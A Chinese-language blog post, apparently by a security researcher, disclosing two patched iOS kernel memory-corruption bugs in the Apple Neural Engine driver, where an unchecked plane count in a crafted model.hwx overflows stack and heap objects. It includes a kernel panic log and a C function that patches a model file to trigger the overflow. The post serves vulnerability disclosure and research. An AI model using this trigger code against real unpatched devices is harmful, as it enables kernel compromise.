2022年11月23日 • Mohamed GHANNAM (@_simo36)
我要分享另外两个 iOS 内核漏洞,它们可以从默认应用沙箱中触达,且不需要打开 UserClient:

另外有 16 个我向 Apple 报告的内核 bug 已在 iOS 16/16.1 中修复。 下个月我将就如何串联一些漏洞实现内核 r/w 在 #POC2022 上发表演讲, 会议结束后,适用于 iOS 15 的内核利用将与其他一些高影响漏洞一起发布。
到目前为止,我最喜欢的 IDA 8.0 功能是:人工 Obj-C 方法导入

在 iOS 15.5 beta 3 中,Apple 从 IOSharedDataQueue/IODataQueue::initWithCapacity() 中移除了 IOMallocAligned(KHEAP_DEFAULT,...)(现在使用带 KMA_DATA 标志的 kernel_memory_allocate())。这是一种使用用户可控数据来整理内核默认堆的优雅技术。RIP

在对 Apple Neural Engine 在内核级别加载模型的过程进行逆向工程时,我在 H11ANEIn::ANE_ProgramCreate_gated() 中负责处理神经网络特征的代码中发现了两个有趣的内存损坏漏洞。在我看来,这类漏洞在手动审计内核驱动程序时很容易发现,但除非你能构建出非常复杂的东西,否则几乎无法通过模糊测试发现它们。
ZinComputeProgramGetNamesFromMultiPlaneLinear() 和 ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() 函数都负责解析程序的输入和输出,更准确地说,是解析 thread flavor 为 2(ane_bind_state)且 binding_type_info 值为 4 和 5 的 LC_THREAD 命令。
据我所知,binding_type_info = 4 表示程序的输入有多个平面,而 binding_type_info = 5 表示输入不仅有多于一个平面,而且也是压缩的。
例如,ZinComputeProgramGetNamesFromMultiPlaneLinear() 函数接受 5 个参数:一个加载命令指针、一个线程绑定指针,以及三个额外的输出参数。最后一个输出参数 planes 是一个数组,用于保存平面(或内核指针),其内容由用户控制;最后一个参数 planeCount 将指示从 model.hwx 文件中复制到 planes 中的平面(或内核指针)数量。以下是函数定义:

由于缺乏对模型可以提供的平面数量的验证,内核指针可能被写入 planes 数组边界之外,从而可能导致许多有趣的内存损坏场景。
planes 数组是位于 H11ANEIn::ANE_ProgramCreate_gated() 中的一个栈变量,通过用超过 4 个平面溢出这个本应最多容纳 4 个元素的变量,其他栈变量也可能被破坏,这可能导致诸如类型混淆之类的其他问题,因为被覆盖的内核指针完全在用户控制之下。
显然,用过多条目溢出 planes 数组很可能会同时覆盖栈 cookie 和保存的旧栈帧指针,导致内核崩溃(kernel panic)。幸运的是,平面总数完全由给定模型控制,因此我们可以在不影响这些敏感栈区域的情况下破坏几个栈变量。
另一个有趣的场景是,如下图所示,可以溢出两个堆对象:H11ANEProgramBindingInfo(第 528 行)和 H11ANEProgramCreateArgsStructOutput(第 533 行)。

struct H11ANEProgramBindingInfo
{
struct {
uint32_t field_0;
char names[8][512];
uint32_t field_1004;
char *procedure_name;
} inputs[255], outputs[255];
};
H11ANEProgramCreateArgsStructOutput 的结构定义如上所示,破坏它可能导致以下崩溃:
"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
x0: 0x1122334411223344 x1: 0xfffffe3000ecff20 x2: 0x0000000000000040 x3: 0x0000000000000000
x4: 0x0000000000000000 x5: 0x0000000000000000 x6: 0x00000000000000e8 x7: 0x0000000000000830
x8: 0xfffffe608949c000 x9: 0xfffffe24cec0d1b0 x10: 0xfffffe24cd7d4010 x11: 0xfffffe1667fa93e0
x12: 0x0000000000000001 x13: 0x0000000000000858 x14: 0xfffffe3000ed0760 x15: 0x00292a20736d6172
x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8 x18: 0x0000000000000000 x19: 0x0000000000000000
x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860 x22: 0xfffffe299a621a00 x23: 0xfffffe2999c72208
x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1 x26: 0xfffffe608949c000 x27: 0xfffffe60895a2054
x28: 0xfffffe6089dcb850 fp: 0xfffffe6089dcacd0 lr: 0x03effe0011b1b47c sp: 0xfffffe6089dcacd0
pc: 0xfffffe0010a8a48c cpsr: 0x00401208 esr: 0x96000004 far: 0x1122334411223344
这些漏洞的有趣之处在于,不需要直接与内核交互,换句话说,无需打开 UserClient 连接,只需编译(或制作)一个恶意模型,然后让 aned 代表你加载它。
如你所知,要通过 aned 加载任何模型,该模型必须由 ANECompilerService 系统服务编译,或由 Apple 签名。换句话说,应用程序必须向 aned 提供一个 .mlmodelc 目录,aned 随后会请求 ANECompilerService 使用两个名为 Espresso 和 ANECompiler 的框架将其编译为 model.hwx。如果你不明白我在说什么,欢迎查看 #POC2022 幻灯片 这里,我在其中简要概述了 aned 的工作原理。此外,你可以从 Wish Wu 的精彩 BlackHat 演讲 中获取有关编译过程的更多细节,该演讲涉及他对 ANE 的研究,以及 他的优秀工具,该工具完全模拟了 ANECompilerService 的功能。
在我们的案例中,我们需要一个 model.hwx,其程序输入(或输出)支持多个平面。遗憾的是,mlmodel、mlmodelc 或 mlpackage 格式中没有这样的模型,Apple 也只提供了少数 hwx 格式的模型。检查这些 hwx 模型后发现,它们使用了一些奇怪的/未记录的神经网络操作,这些操作在开源 coremltools 库的代码库中不存在,暗示这些网络层可能仅供内部使用。然而,这些操作的实现由 Espresso 框架定义,需要一些逆向工程来了解它们支持哪些输入和输出,以及如何正确地将它们用作神经网络中的一层。由于该框架是用 C++ 和 STL 编写的,我没有兴趣对这个操作进行逆向,因为那会花费很长时间。
这是引导我发现 CVE-2022-32845 的主要原因,它不仅让我避免了逆向这个可怕的框架,还为我节省了数百小时学习高级机器学习主题的时间。
于是,我拿了一个简单的 model.hwx,修补了它的一个 LC_THREAD 命令,以在 ane_bind_state 中复现所需的结果,然后利用 CVE-2022-32845 诱骗 aned 加载它,就像它是由 Apple 签名的一样;这足以向 Apple 演示该漏洞。
修补模型的函数如下所示,如果你想自己触发该漏洞,可以从我的 weightBufs 内核漏洞利用 中借用一些代码。
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
dbg("[-] Bad Mach-O file \n");
return ;
}
struct load_command *lc = NULL;
FOR_EACH_COMMAND {
if (lc->cmd != LC_THREAD)
continue;
dbg("LC_THREAD command found \n");
compute_thread_command *thread = (compute_thread_command *)lc;
u32 name_off = 0;
switch (thread->flavor) {
case THREAD_BINDING: {
name_off = *(uint32_t*)((char*)thread + 0x18);
dbg("Binding Name \n");
compute_thread_binding * bd =
(compute_thread_binding *)&thread->thread_states;
bd->binding_typeinfo = 4;
bd->field4 = 1;
u32 plane_count = 0x30;
char *buf_start = (char*)lc + 0x20;
*(u32 *) buf_start = 0;
*(u32 *) (buf_start + 0x10) = plane_count;
char *_ptr = buf_start + 0x6C;
int i = 0;
uint64_t off = 0;
do {
if(off == 0)
off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
*(unsigned int *)_ptr = mh_size;
u64 *pp = (u64 *)&_ptr[4];
for(int k = 0; k < 4;k++)
pp[k] = 0x1122334411223344;
_ptr += 0x68;
}while (i++ < plane_count);
patched = true;
return;
}
case THREAD_PROCEDURE_OPERATION:
case THREAD_PROCEDURE:
default:
break;
}
dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);
}
}
Apple 在 iOS 16 中通过在两个易受攻击的函数中引入一些验证检查来解决该问题,将提供的平面数量限制为四个条目,如下所示:

暂时就到这里,很快再见!